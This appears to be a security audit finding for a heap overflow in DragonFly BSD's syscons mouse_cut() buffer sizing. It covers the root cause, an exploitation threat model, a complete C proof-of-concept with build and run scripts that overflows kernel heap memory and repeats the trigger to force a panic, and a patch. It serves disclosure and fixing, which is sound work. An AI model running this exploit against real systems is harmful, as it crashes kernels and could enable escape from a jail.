Summary

mouse_cut() copies each selected screen cell into the global cut_buffer and additionally writes one '\r' per crossed line boundary plus a final NUL. sc_alloc_cut_buffer only sizes the buffer for xsize*ysize+1 bytes.

A multi-line selection whose lines have no trailing spaces causes mouse_cut to write (xsize+1)*ysize+1 = xsize*ysize + ysize + 1 bytes, overflowing the heap allocation by ysize bytes (typically 25 on an 80x25 console, up to 60-80 on large KMS consoles). The overflow content is mostly attacker-controlled screen characters from the last line, terminated by '\r' and '\0'.

Root cause

scmouse.c:92 sets:

cut_buffer_size = scp->xsize * scp->ysize + 1;

mouse_cut() at scmouse.c:319-330 loops:

for (p = from, i = blank = 0; p <= to; ++p)

writing each vtb cell to cut_buffer[i++] and, at every line end (scmouse.c:325 (p % scp->xsize) == (scp->xsize - 1)), executes:

cut_buffer[blank] = '\r';
i = blank + 1;

blank tracks the position after the last non-space char written; when a line has no trailing spaces, blank equals the post-increment i, so the wrap appends a byte rather than overwriting an in-line byte.

For a full-screen selection (from=0 to xsize*ysize-1) over non-space content, this appends one '\r' per row (ysize of them).

Total bytes written = xsize*ysize (chars) + ysize ('\r's) + 1 (NUL) = (xsize+1)*ysize + 1. Buffer is xsize*ysize + 1.

Overflow = ysize bytes.

Concrete trace for xsize=4, ysize=2, buffer=9 bytes, full cut:

• indices 0..3 line0 chars
• 4 '\r'
• 5..8 line1 chars
• 9 '\r' (OOB)
• 10 '\0' (OOB)

Concrete trace for 80x25 (buffer 2001): final writes go to cut_buffer[2001..2025], i.e. 25 bytes past the end, of which 23 are attacker-controlled screen chars (line 24 chars 57..79).

Threat model

Preconditions: attacker has a cred with SYSCAP_RESTRICTEDROOT (root outside jails, or jail root granted the capability — the exact population the scopen check at syscons.c:724 is designed to gate).

Steps:

1. open /dev/ttyv0 (or /dev/consolectl)
2. write non-space text to the screen (write(2) so each row's last column is non-space — e.g. fill with 'X')
3. CONS_MOUSECTL MOUSE_SHOW to set SC_MOUSE_ENABLED
4. CONS_MOUSECTL MOUSE_MOVEABS to (0,0) — scrn_update_thread will draw the mouse and set MOUSE_VISIBLE
5. CONS_MOUSECTL MOUSE_BUTTON_EVENT with id=MOUSE_BUTTON1DOWN, value=1 → mouse_cut_start() at scmouse.c:393-399 sets mouse_cut_start=mouse_pos=0 and MOUSE_CUTTING
6. CONS_MOUSECTL MOUSE_MOVEABS to a large (x,y) — set_mouse_pos() at scmouse.c:142-148 sees MOUSE_VISIBLE|MOUSE_CUTTING and invokes mouse_cut() with from=0 to=xsize*ysize-1 → OVERFLOW

Impact: with heap grooming an attacker can place a sensitive object (tty/pipe/socket buffer, cred, or any object carrying function pointers) adjacent to the cut_buffer kmalloc and corrupt up to ysize bytes (mostly attacker-controlled).

On DragonFly this is root → kernel-code-execution, defeating any jail/sandbox applied to the otherwise-restricted root. Without KASAN/KMSAN the corruption is silent until a downstream panic. Even without grooming, repeated triggering crashes the kernel via slab/objcache corruption, a reliable local DoS.

PoC

findings/poc/DF-1702/poc.c:

#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <machine/console.h>

static void mic(int fd, mouse_info_t *m){ if(ioctl(fd, CONS_MOUSECTL, m)) _exit(1); }

int main(void){
    int fd = open("/dev/ttyv0", O_RDWR);
    if (fd < 0) _exit(2);

    /* Fill the visible screen with non-space chars so each line wrap in
       mouse_cut() appends a byte rather than overwriting a space. */
    char line[81]; memset(line, 'X', 80); line[80] = '\n';
    for (int i = 0; i < 25; i++) if (write(fd, line, 81) != 81) _exit(3);
    usleep(200000);

    mouse_info_t m = {0};

    /* Enable mouse so MOUSE_VISIBLE latches on the next refresh. */
    m.operation = MOUSE_SHOW; mic(fd, &m);

    /* Move to top-left, wait for scrn_update_thread to set MOUSE_VISIBLE. */
    m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
    usleep(300000);

    /* mouse_cut_start at top-left: sets MOUSE_CUTTING, mouse_cut_start=0. */
    m.operation = MOUSE_BUTTON_EVENT;
    m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);

    /* Move to bottom-right; set_mouse_pos calls mouse_cut() -> overflow. */
    m.operation = MOUSE_MOVEABS;
    m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);

    /* If no panic yet, hammer to make adjacent slab corruption obvious. */
    for (int i = 0; i < 200; i++) {
        m.operation = MOUSE_BUTTON_EVENT;
        m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 0;     m.u.data.y = 0;     mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
    }
    return 0;
}

build.sh:

#!/bin/sh
set -e
cc -O2 -Wall -o poc poc.c

run.sh:

#!/bin/sh
./poc; dmesg | tail -50

Success = kernel panic from heap corruption (freed item modified, uma_zone: items modified out of zone, GP fault on a corrupted function pointer, or similar), reproducible within seconds; or, under KASAN/KMSAN, an immediate OOB-write report at scmouse.c:326/330.

Recommended fix

Size the cut_buffer for the worst case the writer (mouse_cut) actually produces: one byte per cell plus one '\r' per row plus one trailing NUL.

@@ -83,12 +83,16 @@ sc_alloc_cut_buffer(scr_stat *scp, int wait)
 {
     u_char *p;

-    if ((cut_buffer == NULL)
-   || (cut_buffer_size < scp->xsize * scp->ysize + 1)) {
+    /*
+     * mouse_cut() may emit one '\r' per screen row plus a trailing
+     * NUL when copying a selection that spans every column of every
+     * row. Size the buffer for that worst case or it overflows.
+     */
+    if ((cut_buffer == NULL)
+   || (cut_buffer_size < (scp->xsize + 1) * scp->ysize + 1)) {
    p = cut_buffer;
    cut_buffer = NULL;
    if (p != NULL)
        kfree(p, M_SYSCONS);
-   cut_buffer_size = scp->xsize * scp->ysize + 1;
+   cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1;
    p = kmalloc(cut_buffer_size, M_SYSCONS, (wait) ? M_WAITOK : M_NOWAIT);
    if (p != NULL)
        p[0] = '\0';

Defense-in-depth: also bound i inside mouse_cut() so a future size miscalculation cannot re-introduce the bug.

@@ -319,6 +319,8 @@ mouse_cut(scr_stat *scp)
     int p;
     int i;

     for (p = from, i = blank = 0; p <= to; ++p) {
+   if (i >= cut_buffer_size - 1)
+       break;
    cut_buffer[i] = sc_vtb_getc(&scp->vtb, p);
    /* remember the position of the last non-space char */
    if (!IS_SPACE_CHAR(cut_buffer[i++]))

The first diff is the actual fix; the second is belt-and-suspenders. mouse_cut_line's narrow off-by-one at scmouse.c:521-522 is unreachable in practice (requires ysize==1 which no video mode produces) and is also covered by this larger buffer, but a follow-up could shorten mouse_cut_line by one byte if desired.